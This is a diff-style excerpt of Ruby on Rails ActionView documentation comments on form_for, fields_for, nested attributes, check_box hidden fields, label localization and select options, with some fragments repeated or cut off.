+ # how much you wish to rely on Rails to infer automatically from the model
+ # how the form should be constructed. For a generic model object, a form
+ # can be created by passing +form_for+ a string or symbol representing
+ # the object we are concerned with:
+ #
+ # <%= form_for :person do |f| %>
+ # First name: <%= f.text_field :first_name %><br />
+ # Last name : <%= f.text_field :last_name %><br />
+ # Biography : <%= f.text_area :biography %><br />
+ # Admin? : <%= f.check_box :admin %><br />
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # The variable +f+ yielded to the block is a FormBuilder object that
+ # incorporates the knowledge about the model object represented by
+ # <tt>:person</tt> passed to +form_for+. Methods defined on the FormBuilder
+ # are used to generate fields bound to this model. Thus, for example,
+ #
+ # <%= f.text_field :first_name %>
+ #
+ # will get expanded to
+ #
+ # <%= text_field :person, :first_name %>
+ # which results in an html <tt><input></tt> tag whose +name+ attribute is
+ # <tt>person[first_name]</tt>. This means that when the form is submitted,
+ # the value entered by the user will be available in the controller as
+ # <tt>params[:person][:first_name]</tt>.
+ #
+ # For fields generated in this way using the FormBuilder,
+ # if <tt>:person</tt> also happens to be the name of an instance variable
+ # <tt>@person</tt>, the default value of the field shown when the form is
+ # initially displayed (e.g. in the situation where you are editing an
+ # existing record) will be the value of the corresponding attribute of
+ # <tt>@person</tt>.
+ #
+ # The rightmost argument to +form_for+ is an
+ # optional hash of options -
+ #
+ # * <tt>:url</tt> - The URL the form is to be submitted to. This may be
+ # represented in the same way as values passed to +url_for+ or +link_to+.
+ # So for example you may use a named route directly. When the model is
+ # represented by a string or symbol, as in the example above, if the
+ # <tt>:url</tt> option is not specified, by default the form will be
+ # sent back to the current url (We will describe below an alternative
+ # resource-oriented usage of +form_for+ in which the URL does not need
+ # to be specified explicitly).
+ # * <tt>:namespace</tt> - A namespace for your form to ensure uniqueness of
+ # id attributes on form elements. The namespace attribute will be prefixed
+ # with underscore on the generated HTML id.
+ # * <tt>:html</tt> - Optional HTML attributes for the form tag.
+ #
+ # Also note that +form_for+ doesn't create an exclusive scope. It's still
+ # possible to use both the stand-alone FormHelper methods and methods
+ # from FormTagHelper. For example:
+ #
+ # <%= form_for :person do |f| %>
+ # First name: <%= f.text_field :first_name %>
+ # Last name : <%= f.text_field :last_name %>
+ # Biography : <%= text_area :person, :biography %>
+ # Admin? : <%= check_box_tag "person[admin]", "1", @person.company.admin? %>
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # This also works for the methods in FormOptionHelper and DateHelper that
+ # are designed to work with an object as base, like
+ # FormOptionHelper#collection_select and DateHelper#datetime_select.
+ #
+ # === #form_for with a model object
+ #
+ # In the examples above, the object to be created or edited was
+ # represented by a symbol passed to +form_for+, and we noted that
+ # a string can also be used equivalently. It is also possible, however,
+ # to pass a model object itself to +form_for+. For example, if <tt>@post</tt>
+ # is an existing record you wish to edit, you can create the form using
+ #
+ # <%= form_for @post do |f| %>
+ # ...
+ # <% end %>
+ #
+ # This behaves in almost the same way as outlined previously, with a
+ # couple of small exceptions. First, the prefix used to name the input
+ # elements within the form (hence the key that denotes them in the +params+
+ # hash) is actually derived from the object's _class_, e.g. <tt>params[:post]</tt>
+ # if the object's class is +Post+. However, this can be overwritten using
+ # the <tt>:as</tt> option, e.g. -
+ #
+ # <%= form_for(@person, as: :client) do |f| %>
+ # ...
+ # <% end %>
+ #
+ # would result in <tt>params[:client]</tt>.
+ #
+ # Secondly, the field values shown when the form is initially displayed
+ # are taken from the attributes of the object passed to +form_for+,
+ # regardless of whether the object is an instance
+ # variable. So, for example, if we had a _local_ variable +post+
+ # representing an existing record,
+ #
+ # <%= form_for post do |f| %>
+ # ...
+ # <% end %>
+ #
+ # would produce a form with fields whose initial state reflect the current
+ # values of the attributes of +post+.
+ #
+ # === Resource-oriented style
+ #
+ # In the examples just shown, although not indicated explicitly, we still
+ # need to use the <tt>:url</tt> option in order to specify where the
+ # form is going to be sent. However, further simplification is possible
+ # if the record passed to +form_for+ is a _resource_, i.e. it corresponds
+ # to a set of RESTful routes, e.g. defined using the +resources+ method
+ # in <tt>config/routes.rb</tt>. In this case Rails will simply infer the
+ # appropriate URL from the record itself. For example,
+ #
+ # <%= form_for @post do |f| %>
+ # ...
+ # <% end %>
+ #
+ # is then equivalent to something like:
+ #
+ # <%= form_for @post, as: :post, url: post_path(@post), method: :patch, html: { class: "edit_post", id: "edit_post_45" } do |f| %>
+ # ...
+ # <% end %>
+ #
+ # And for a new record
+ #
+ # <%= form_for(Post.new) do |f| %>
+ # ...
+ # <% end %>
+ #
+ # is equivalent to something like:
+ #
+ # <%= form_for @post, as: :post, url: posts_path, html: { class: "new_post", id: "new_post" } do |f| %>
+ # ...
+ # <% end %>
+ #
+ # However you can still overwrite individual conventions, such as:
+ #
+ # <%= form_for(@post, url: super_posts_path) do |f| %>
+ # ...
+ # <% end %>
+ #
+ # You can also set the answer format, like this:
+ #
+ # <%= form_for(@post, format: :json) do |f| %>
+ # ...
+ # <% end %>
+ #
+ # For namespaced routes, like +admin_post_url+:
+ #
+ # <%= form_for([:admin, @post]) do |f| %>
+ # ...
+ # <% end %>
+ #
+ # If your resource has associations defined, for example, you want to add comments
+ # to the document given that the routes are set correctly:
+ #
+ # <%= form_for([@document, @comment]) do |f| %>
+ # ...
+ # <% end %>
+ #
+ # Where <tt>@document = Document.find(params[:id])</tt> and
+ # <tt>@comment = Comment.new</tt>.
+ #
+ # === Setting the method
+ #
+ # You can force the form to use the full array of HTTP verbs by setting
+ #
+ # method: (:get|:post|:patch|:put|:delete)
+ #
+ # in the options hash. If the verb is not GET or POST, which are natively
+ # supported by HTML forms, the form will be set to POST and a hidden input
+ # called _method will carry the intended verb for the server to interpret.
+ #
+ # === Unobtrusive JavaScript
+ #
+ # Specifying:
+ #
+ # remote: true
+ #
+ # in the options hash creates a form that will allow the unobtrusive JavaScript drivers to modify its
+ # behavior. The expected default behavior is an XMLHttpRequest in the background instead of the regular
+ # POST arrangement, but ultimately the behavior is the choice of the JavaScript driver implementor.
+ # Even though it's using JavaScript to serialize the form elements, the form submission will work just like
+ # a regular submission as viewed by the receiving side (all elements available in <tt>params</tt>).
+ #
+ # Example:
+ #
+ # <%= form_for(@post, remote: true) do |f| %>
+ # ...
+ # <% end %>
+ #
+ # The HTML generated for this would be:
+ #
+ # <form action='http://www.example.com' method='post' data-remote='true'>
+ # <div style='margin:0;padding:0;display:inline'>
+ # <input name='_method' type='hidden' value='patch' />
+ # </div>
+ # ...
+ # </form>
+ #
+ # === Setting HTML options
+ #
+ # You can set data attributes directly by passing in a data hash, but all other HTML options must be wrapped in
+ # the HTML key. Example:
+ #
+ # <%= form_for(@post, data: { behavior: "autosave" }, html: { name: "go" }) do |f| %>
+ # ...
+ # <% end %>
+ #
+ # The HTML generated for this would be:
+ #
+ # <form action='http://www.example.com' method='post' data-behavior='autosave' name='go'>
+ # <div style='margin:0;padding:0;display:inline'>
+ # <input name='_method' type='hidden' value='patch' />
+ # </div>
+ # ...
+ # </form>
+ #
+ # === Removing hidden model id's
+ #
+ # The form_for method automatically includes the model id as a hidden field in the form.
+ # This is used to maintain the correlation between the form data and its associated model.
+ # Some ORM systems do not use IDs on nested models so in this case you want to be able
+ # to disable the hidden id.
+ #
+ # In the following example the Post model has many Comments stored within it in a NoSQL database,
+ # thus there is no primary key for comments.
+ #
+ # Example:
+ #
+ # <%= form_for(@post) do |f| %>
+ # <%= f.fields_for(:comments, include_id: false) do |cf| %>
+ # ...
+ # <% end %>
+ # <% end %>
+ #
+ # === Customized form builders
+ #
+ # You can also build forms using a customized FormBuilder class. Subclass
+ # FormBuilder and override or define some more helpers, then use your
+ # custom builder. For example, let's say you made a helper to
+ # automatically add labels to form inputs.
+ #
+ # <%= form_for @person, url: { action: "create" }, builder: LabellingFormBuilder do |f| %>
+ # <%= f.text_field :first_name %>
+ # <%= f.text_field :last_name %>
+ # <%= f.text_area :biography %>
+ # <%= f.check_box :admin %>
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # In this case, if you use this:
+ #
+ # <%= render f %>
+ #
+ # The rendered template is <tt>people/_labelling_form</tt> and the local
+ # variable referencing the form builder is called
+ # <tt>labelling_form</tt>.
+ #
+ # The custom FormBuilder class is automatically merged with the options
+ # of a nested fields_for call, unless it's explicitly set.
+ #
+ # In many cases you will want to wrap the above in another helper, so you

+ # <% end %>
+ #

+
+ # Creates a scope around a specific model object like form_for, but
+ # doesn't create the form tags themselves. This makes fields_for suitable
+ # for specifying additional model objects in the same form.
+ #
+ # Although the usage and purpose of +field_for+ is similar to +form_for+'s,
+ # its method signature is slightly different. Like +form_for+, it yields
+ # a FormBuilder object associated with a particular model object to a block,
+ # and within the block allows methods to be called on the builder to
+ # generate fields associated with the model object. Fields may reflect
+ # a model object in two ways - how they are named (hence how submitted
+ # values appear within the +params+ hash in the controller) and what
+ # default values are shown when the form the fields appear in is first
+ # displayed. In order for both of these features to be specified independently,
+ # both an object name (represented by either a symbol or string) and the
+ # object itself can be passed to the method separately -
+ #
+ # <%= form_for @person do |person_form| %>
+ # First name: <%= person_form.text_field :first_name %>
+ # Last name : <%= person_form.text_field :last_name %>
+ #
+ # <%= fields_for :permission, @person.permission do |permission_fields| %>
+ # Admin? : <%= permission_fields.check_box :admin %>
+ # <% end %>
+ #
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # In this case, the checkbox field will be represented by an HTML +input+
+ # tag with the +name+ attribute <tt>permission[admin]</tt>, and the submitted
+ # value will appear in the controller as <tt>params[:permission][:admin]</tt>.
+ # If <tt>@person.permission</tt> is an existing record with an attribute
+ # +admin+, the initial state of the checkbox when first displayed will
+ # reflect the value of <tt>@person.permission.admin</tt>.
+ #
+ # Often this can be simplified by passing just the name of the model
+ # object to +fields_for+ -
+ #
+ # <%= fields_for :permission do |permission_fields| %>
+ # Admin?: <%= permission_fields.check_box :admin %>
+ # <% end %>
+ #
+ # ...in which case, if <tt>:permission</tt> also happens to be the name of an
+ # instance variable <tt>@permission</tt>, the initial state of the input
+ # field will reflect the value of that variable's attribute <tt>@permission.admin</tt>.
+ #
+ # Alternatively, you can pass just the model object itself (if the first
+ # argument isn't a string or symbol +fields_for+ will realize that the
+ # name has been omitted) -
+ #
+ # <%= fields_for @person.permission do |permission_fields| %>
+ # Admin?: <%= permission_fields.check_box :admin %>
+ # <% end %>
+ #
+ # and +fields_for+ will derive the required name of the field from the
+ # _class_ of the model object, e.g. if <tt>@person.permission</tt>, is
+ # of class +Permission+, the field will still be named <tt>permission[admin]</tt>.
+ #
+ # Note: This also works for the methods in FormOptionHelper and
+ # DateHelper that are designed to work with an object as base, like
+ # FormOptionHelper#collection_select and DateHelper#datetime_select.
+ #
+ # === Nested Attributes Examples
+ #
+ # When the object belonging to the current scope has a nested attribute
+ # writer for a certain attribute, fields_for will yield a new scope
+ # for that attribute. This allows you to create forms that set or change
+ # the attributes of a parent object and its associations in one go.
+ #
+ # Nested attribute writers are normal setter methods named after an
+ # association. The most common way of defining these writers is either
+ # with +accepts_nested_attributes_for+ in a model definition or by
+ # defining a method with the proper name. For example: the attribute
+ # writer for the association <tt>:address</tt> is called
+ # <tt>address_attributes=</tt>.
+ #
+ # Whether a one-to-one or one-to-many style form builder will be yielded
+ # depends on whether the normal reader method returns a _single_ object
+ # or an _array_ of objects.
+ #
+ # ==== One-to-one
+ #
+ # Consider a Person class which returns a _single_ Address from the
+ # <tt>address</tt> reader method and responds to the
+ # <tt>address_attributes=</tt> writer method:
+ #
+ # class Person
+ # def address
+ # @address
+ # end
+ #
+ # def address_attributes=(attributes)
+ # # Process the attributes hash
+ # end
+ # end
+ #
+ # This model can now be used with a nested fields_for, like so:
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :address do |address_fields| %>
+ # Street : <%= address_fields.text_field :street %>
+ # Zip code: <%= address_fields.text_field :zip_code %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # When address is already an association on a Person you can use
+ # +accepts_nested_attributes_for+ to define the writer method for you:
+ #
+ # class Person < ActiveRecord::Base
+ # has_one :address
+ # accepts_nested_attributes_for :address
+ # end
+ #
+ # If you want to destroy the associated model through the form, you have
+ # to enable it first using the <tt>:allow_destroy</tt> option for
+ # +accepts_nested_attributes_for+:
+ #
+ # class Person < ActiveRecord::Base
+ # has_one :address
+ # accepts_nested_attributes_for :address, allow_destroy: true
+ # end
+ #
+ # Now, when you use a form element with the <tt>_destroy</tt> parameter,
+ # with a value that evaluates to +true+, you will destroy the associated
+ # model (eg. 1, '1', true, or 'true'):
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :address do |address_fields| %>
+ # ...
+ # Delete: <%= address_fields.check_box :_destroy %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # ==== One-to-many
+ #
+ # Consider a Person class which returns an _array_ of Project instances
+ # from the <tt>projects</tt> reader method and responds to the
+ # <tt>projects_attributes=</tt> writer method:
+ #
+ # class Person
+ # def projects
+ # [@project1, @project2]
+ # end
+ #
+ # def projects_attributes=(attributes)
+ # # Process the attributes hash
+ # end
+ # end
+ #
+ # Note that the <tt>projects_attributes=</tt> writer method is in fact
+ # required for fields_for to correctly identify <tt>:projects</tt> as a
+ # collection, and the correct indices to be set in the form markup.
+ #
+ # When projects is already an association on Person you can use
+ # +accepts_nested_attributes_for+ to define the writer method for you:
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :projects
+ # accepts_nested_attributes_for :projects
+ # end
+ #
+ # This model can now be used with a nested fields_for. The block given to
+ # the nested fields_for call will be repeated for each instance in the
+ # collection:
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :projects do |project_fields| %>
+ # <% if project_fields.object.active? %>
+ # Name: <%= project_fields.text_field :name %>
+ # <% end %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # It's also possible to specify the instance to be used:
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <% @person.projects.each do |project| %>
+ # <% if project.active? %>
+ # <%= person_form.fields_for :projects, project do |project_fields| %>
+ # Name: <%= project_fields.text_field :name %>
+ # <% end %>
+ # <% end %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # Or a collection to be used:
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :projects, @active_projects do |project_fields| %>
+ # Name: <%= project_fields.text_field :name %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # If you want to destroy any of the associated models through the
+ # form, you have to enable it first using the <tt>:allow_destroy</tt>
+ # option for +accepts_nested_attributes_for+:
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :projects
+ # accepts_nested_attributes_for :projects, allow_destroy: true
+ # end
+ #
+ # This will allow you to specify which models to destroy in the
+ # attributes hash by adding a form element for the <tt>_destroy</tt>
+ # parameter with a value that evaluates to +true+
+ # (eg. 1, '1', true, or 'true'):
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :projects do |project_fields| %>
+ # Delete: <%= project_fields.check_box :_destroy %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # When a collection is used you might want to know the index of each
+ # object into the array. For this purpose, the <tt>index</tt> method
+ # is available in the FormBuilder object.
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :projects do |project_fields| %>
+ # Project #<%= project_fields.index %>
+ # ...
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # Note that fields_for will automatically generate a hidden field
+ # to store the ID of the record. There are circumstances where this
+ # hidden field is not needed and you can pass <tt>hidden_field_id: false</tt>
+ # to prevent fields_for from rendering it automatically.

+ # Returns a label tag tailored for labelling an input field for a specified attribute (identified by +method+) on an object

+ # Additional options on the input tag can be passed as a hash with +options+. The +checked_value+ defaults to 1
+ # while the default +unchecked_value+ is set to 0 which is convenient for boolean values.
+ #
+ # ==== Gotcha
+ #
+ # The HTML specification says unchecked check boxes are not successful, and
+ # thus web browsers do not send them. Unfortunately this introduces a gotcha:
+ # if an +Invoice+ model has a +paid+ flag, and in the form that edits a paid
+ # invoice the user unchecks its check box, no +paid+ parameter is sent. So,
+ # any mass-assignment idiom like
+ #
+ # @invoice.update(params[:invoice])
+ #
+ # wouldn't update the flag.
+ #
+ # To prevent this the helper generates an auxiliary hidden field before
+ # the very check box. The hidden field has the same name and its
+ # attributes mimic an unchecked check box.
+ #
+ # This way, the client either sends only the hidden field (representing
+ # the check box is unchecked), or both fields. Since the HTML specification
+ # says key/value pairs have to be sent in the same order they appear in the
+ # form, and parameters extraction gets the last occurrence of any repeated
+ # key in the query string, that works for ordinary forms.
+ #
+ # Unfortunately that workaround does not work when the check box goes
+ # within an array-like parameter, as in
+ #
+ # <%= fields_for "project[invoice_attributes][]", invoice, index: nil do |form| %>
+ # <%= form.check_box :paid %>
+ # ...
+ # <% end %>
+ #
+ # because parameter name repetition is precisely what Rails seeks to distinguish
+ # the elements of the array. For each item with a checked check box you
+ # get an extra ghost item with only that attribute, assigned to "0".
+ #
+ # In that case it is preferable to either use +check_box_tag+ or to use
+ # hashes instead of arrays.
+ #
+ # # Let's say that @post.validated? is 1:
+ # check_box("post", "validated")
+ # # => <input name="post[validated]" type="hidden" value="0" />
+ # # <input checked="checked" type="checkbox" id="post_validated" name="post[validated]" value="1" />

+ #
+ # <%= form_for @person do |person_form| %>

+ # Admin: <%= person_form.check_box :admin %>
+ # <% end %>
+ #
+ # In the above block, the a +FormBuilder+ object is yielded as the

+ # and +check_box+ fields by specifying their eponymous methods, which
+ # modify the underlying template and associates the + at person+ model object
+ # with the form.
+ #
+ # The +FormBuilder+ object can be thought of as serving as a proxy for the

+ #
+ # You can create your own custom FormBuilder templates by subclasses this

+ #
+ # class MyFormBuilder < ActionView::Helpers::FormBuilder
+ # def div_radio_button(method, tag_value, options = {})
+ # @template.content_tag(:div,
+ # @template.radio_button(
+ # @object_name, method, tag_value, objectify_options(options)
+ # )
+ # )
+ # end
+ #
+ # The above code creates a new method +div_radio_button+ which wraps a div
+ # around the a new radio button. Note that when options are passed in, you
+ # must called +objectify_options+ in order for the model object to get
+ # correctly passed to the method. If +objectify_options+ is not called,
+ # then the newly created helper will not be linked back to the model.
+ #
+ # The +div_radio_button+ code from above can now be used as follows:
+ #
+ # <%= form_for @person, :builder => MyFormBuilder do |f| %>
+ # I am a child: <%= f.div_radio_button(:admin, "child") %>
+ # I am an adult: <%= f.div_radio_button(:admin, "adult") %>

+ # Creates a scope around a specific model object like form_for, but
+ # doesn't create the form tags themselves. This makes fields_for suitable
+ # for specifying additional model objects in the same form.
+ #
+ # Although the usage and purpose of +field_for+ is similar to +form_for+'s,
+ # its method signature is slightly different. Like +form_for+, it yields
+ # a FormBuilder object associated with a particular model object to a block,
+ # and within the block allows methods to be called on the builder to
+ # generate fields associated with the model object. Fields may reflect
+ # a model object in two ways - how they are named (hence how submitted
+ # values appear within the +params+ hash in the controller) and what
+ # default values are shown when the form the fields appear in is first
+ # displayed. In order for both of these features to be specified independently,
+ # both an object name (represented by either a symbol or string) and the
+ # object itself can be passed to the method separately -
+ #
+ # <%= form_for @person do |person_form| %>
+ # First name: <%= person_form.text_field :first_name %>
+ # Last name : <%= person_form.text_field :last_name %>
+ #
+ # <%= fields_for :permission, @person.permission do |permission_fields| %>
+ # Admin? : <%= permission_fields.check_box :admin %>
+ # <% end %>
+ #
+ # <%= person_form.submit %>
+ # <% end %>
+ #
+ # In this case, the checkbox field will be represented by an HTML +input+
+ # tag with the +name+ attribute <tt>permission[admin]</tt>, and the submitted
+ # value will appear in the controller as <tt>params[:permission][:admin]</tt>.
+ # If <tt>@person.permission</tt> is an existing record with an attribute
+ # +admin+, the initial state of the checkbox when first displayed will
+ # reflect the value of <tt>@person.permission.admin</tt>.
+ #
+ # Often this can be simplified by passing just the name of the model
+ # object to +fields_for+ -
+ #
+ # <%= fields_for :permission do |permission_fields| %>
+ # Admin?: <%= permission_fields.check_box :admin %>
+ # <% end %>
+ #
+ # ...in which case, if <tt>:permission</tt> also happens to be the name of an
+ # instance variable <tt>@permission</tt>, the initial state of the input
+ # field will reflect the value of that variable's attribute <tt>@permission.admin</tt>.
+ #
+ # Alternatively, you can pass just the model object itself (if the first
+ # argument isn't a string or symbol +fields_for+ will realize that the
+ # name has been omitted) -
+ #
+ # <%= fields_for @person.permission do |permission_fields| %>
+ # Admin?: <%= permission_fields.check_box :admin %>
+ # <% end %>
+ #
+ # and +fields_for+ will derive the required name of the field from the
+ # _class_ of the model object, e.g. if <tt>@person.permission</tt>, is
+ # of class +Permission+, the field will still be named <tt>permission[admin]</tt>.
+ #
+ # Note: This also works for the methods in FormOptionHelper and
+ # DateHelper that are designed to work with an object as base, like
+ # FormOptionHelper#collection_select and DateHelper#datetime_select.
+ #
+ # === Nested Attributes Examples
+ #
+ # When the object belonging to the current scope has a nested attribute
+ # writer for a certain attribute, fields_for will yield a new scope
+ # for that attribute. This allows you to create forms that set or change
+ # the attributes of a parent object and its associations in one go.
+ #
+ # Nested attribute writers are normal setter methods named after an
+ # association. The most common way of defining these writers is either
+ # with +accepts_nested_attributes_for+ in a model definition or by
+ # defining a method with the proper name. For example: the attribute
+ # writer for the association <tt>:address</tt> is called
+ # <tt>address_attributes=</tt>.
+ #
+ # Whether a one-to-one or one-to-many style form builder will be yielded
+ # depends on whether the normal reader method returns a _single_ object
+ # or an _array_ of objects.
+ #
+ # ==== One-to-one
+ #
+ # Consider a Person class which returns a _single_ Address from the
+ # <tt>address</tt> reader method and responds to the
+ # <tt>address_attributes=</tt> writer method:
+ #
+ # class Person
+ # def address
+ # @address
+ # end
+ #
+ # def address_attributes=(attributes)
+ # # Process the attributes hash
+ # end
+ # end
+ #
+ # This model can now be used with a nested fields_for, like so:
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :address do |address_fields| %>
+ # Street : <%= address_fields.text_field :street %>
+ # Zip code: <%= address_fields.text_field :zip_code %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # When address is already an association on a Person you can use
+ # +accepts_nested_attributes_for+ to define the writer method for you:
+ #
+ # class Person < ActiveRecord::Base
+ # has_one :address
+ # accepts_nested_attributes_for :address
+ # end
+ #
+ # If you want to destroy the associated model through the form, you have
+ # to enable it first using the <tt>:allow_destroy</tt> option for
+ # +accepts_nested_attributes_for+:
+ #
+ # class Person < ActiveRecord::Base
+ # has_one :address
+ # accepts_nested_attributes_for :address, allow_destroy: true
+ # end
+ #
+ # Now, when you use a form element with the <tt>_destroy</tt> parameter,
+ # with a value that evaluates to +true+, you will destroy the associated
+ # model (eg. 1, '1', true, or 'true'):
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :address do |address_fields| %>
+ # ...
+ # Delete: <%= address_fields.check_box :_destroy %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # ==== One-to-many
+ #
+ # Consider a Person class which returns an _array_ of Project instances
+ # from the <tt>projects</tt> reader method and responds to the
+ # <tt>projects_attributes=</tt> writer method:
+ #
+ # class Person
+ # def projects
+ # [@project1, @project2]
+ # end
+ #
+ # def projects_attributes=(attributes)
+ # # Process the attributes hash
+ # end
+ # end
+ #
+ # Note that the <tt>projects_attributes=</tt> writer method is in fact
+ # required for fields_for to correctly identify <tt>:projects</tt> as a
+ # collection, and the correct indices to be set in the form markup.
+ #
+ # When projects is already an association on Person you can use
+ # +accepts_nested_attributes_for+ to define the writer method for you:
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :projects
+ # accepts_nested_attributes_for :projects
+ # end
+ #
+ # This model can now be used with a nested fields_for. The block given to
+ # the nested fields_for call will be repeated for each instance in the
+ # collection:
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :projects do |project_fields| %>
+ # <% if project_fields.object.active? %>
+ # Name: <%= project_fields.text_field :name %>
+ # <% end %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # It's also possible to specify the instance to be used:
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <% @person.projects.each do |project| %>
+ # <% if project.active? %>
+ # <%= person_form.fields_for :projects, project do |project_fields| %>
+ # Name: <%= project_fields.text_field :name %>
+ # <% end %>
+ # <% end %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # Or a collection to be used:
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :projects, @active_projects do |project_fields| %>
+ # Name: <%= project_fields.text_field :name %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # If you want to destroy any of the associated models through the
+ # form, you have to enable it first using the <tt>:allow_destroy</tt>
+ # option for +accepts_nested_attributes_for+:
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :projects
+ # accepts_nested_attributes_for :projects, allow_destroy: true
+ # end
+ #
+ # This will allow you to specify which models to destroy in the
+ # attributes hash by adding a form element for the <tt>_destroy</tt>
+ # parameter with a value that evaluates to +true+
+ # (eg. 1, '1', true, or 'true'):
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :projects do |project_fields| %>
+ # Delete: <%= project_fields.check_box :_destroy %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # When a collection is used you might want to know the index of each
+ # object into the array. For this purpose, the <tt>index</tt> method
+ # is available in the FormBuilder object.
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :projects do |project_fields| %>
+ # Project #<%= project_fields.index %>
+ # ...
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # Note that fields_for will automatically generate a hidden field
+ # to store the ID of the record. There are circumstances where this

+ #
+ # ==== Examples
+ # label(:post, :title)

+ #
+ # You can localize your labels based on model and attribute names.

+ # body: "Write your entire text here"
+ #
+ # Which then will result in
+ #
+ # label(:post, :body)
+ # # => <label for="post_body">Write your entire text here</label>
+ #
+ # Localization can also be based purely on the translation of the attribute-name
+ # (if you are using ActiveRecord):
+ #
+ # activerecord:
+ # attributes:
+ # post:
+ # cost: "Total cost"
+ #
+ # label(:post, :cost)
+ # # => <label for="post_cost">Total cost</label>
+ #

+ # Returns a checkbox tag tailored for accessing a specified attribute (identified by +method+) on an object
+ # assigned to the template (identified by +object+). This object must be an instance object (@object) and not a local object.
+ # It's intended that +method+ returns an integer and if that integer is above zero, then the checkbox is checked.
+ # Additional options on the input tag can be passed as a hash with +options+. The +checked_value+ defaults to 1
+ # while the default +unchecked_value+ is set to 0 which is convenient for boolean values.
+ #
+ # ==== Gotcha
+ #
+ # The HTML specification says unchecked check boxes are not successful, and
+ # thus web browsers do not send them. Unfortunately this introduces a gotcha:
+ # if an +Invoice+ model has a +paid+ flag, and in the form that edits a paid
+ # invoice the user unchecks its check box, no +paid+ parameter is sent. So,
+ # any mass-assignment idiom like
+ #
+ # @invoice.update(params[:invoice])
+ #
+ # wouldn't update the flag.
+ #
+ # To prevent this the helper generates an auxiliary hidden field before
+ # the very check box. The hidden field has the same name and its
+ # attributes mimic an unchecked check box.
+ #
+ # This way, the client either sends only the hidden field (representing
+ # the check box is unchecked), or both fields. Since the HTML specification
+ # says key/value pairs have to be sent in the same order they appear in the
+ # form, and parameters extraction gets the last occurrence of any repeated
+ # key in the query string, that works for ordinary forms.
+ #
+ # Unfortunately that workaround does not work when the check box goes
+ # within an array-like parameter, as in
+ #
+ # <%= fields_for "project[invoice_attributes][]", invoice, index: nil do |form| %>
+ # <%= form.check_box :paid %>
+ # ...
+ # <% end %>
+ #
+ # because parameter name repetition is precisely what Rails seeks to distinguish
+ # the elements of the array. For each item with a checked check box you
+ # get an extra ghost item with only that attribute, assigned to "0".
+ #
+ # In that case it is preferable to either use +check_box_tag+ or to use
+ # hashes instead of arrays.
+ #
+ # # Let's say that @post.validated? is 1:
+ # check_box("post", "validated")
+ # # => <input name="post[validated]" type="hidden" value="0" />
+ # # <input checked="checked" type="checkbox" id="post_validated" name="post[validated]" value="1" />
+ #
+ # # Let's say that @puppy.gooddog is "no":
+ # check_box("puppy", "gooddog", {}, "yes", "no")
+ # # => <input name="puppy[gooddog]" type="hidden" value="no" />
+ # # <input type="checkbox" id="puppy_gooddog" name="puppy[gooddog]" value="yes" />
+ #
+ # check_box("eula", "accepted", { class: 'eula_check' }, "yes", "no")

+module ActionView
+ # = Action View Form Option Helpers
+ module Helpers
+ # Provides a number of methods for turning different kinds of containers into a set of option tags.
+ #
+ # The <tt>collection_select</tt>, <tt>select</tt> and <tt>time_zone_select</tt> methods take an <tt>options</tt> parameter, a hash:
+ #
+ # * <tt>:include_blank</tt> - set to true or a prompt string if the first option element of the select element is a blank. Useful if there is not a default value required for the select element.
+ #
+ # select("post", "category", Post::CATEGORIES, {include_blank: true})
+ #
+ # could become:
+ #
+ # <select name="post[category]">
+ # <option></option>
+ # <option>joke</option>
+ # <option>poem</option>
+ # </select>
+ #
+ # Another common case is a select tag for a <tt>belongs_to</tt>-associated object.
+ #
+ # Example with @post.person_id => 2:
+ #
+ # select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {include_blank: 'None'})
+ #
+ # could become:
+ #
+ # <select name="post[person_id]">
+ # <option value="">None</option>
+ # <option value="1">David</option>
+ # <option value="2" selected="selected">Sam</option>
+ # <option value="3">Tobias</option>
+ # </select>
+ #
+ # * <tt>:prompt</tt> - set to true or a prompt string. When the select element doesn't have a value yet, this prepends an option with a generic prompt -- "Please select" -- or the given prompt string.
+ #
+ # select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {prompt: 'Select Person'})
+ #
+ # could become:
+ #
+ # <select name="post[person_id]">
+ # <option value="">Select Person</option>
+ # <option value="1">David</option>
+ # <option value="2">Sam</option>
+ # <option value="3">Tobias</option>
+ # </select>
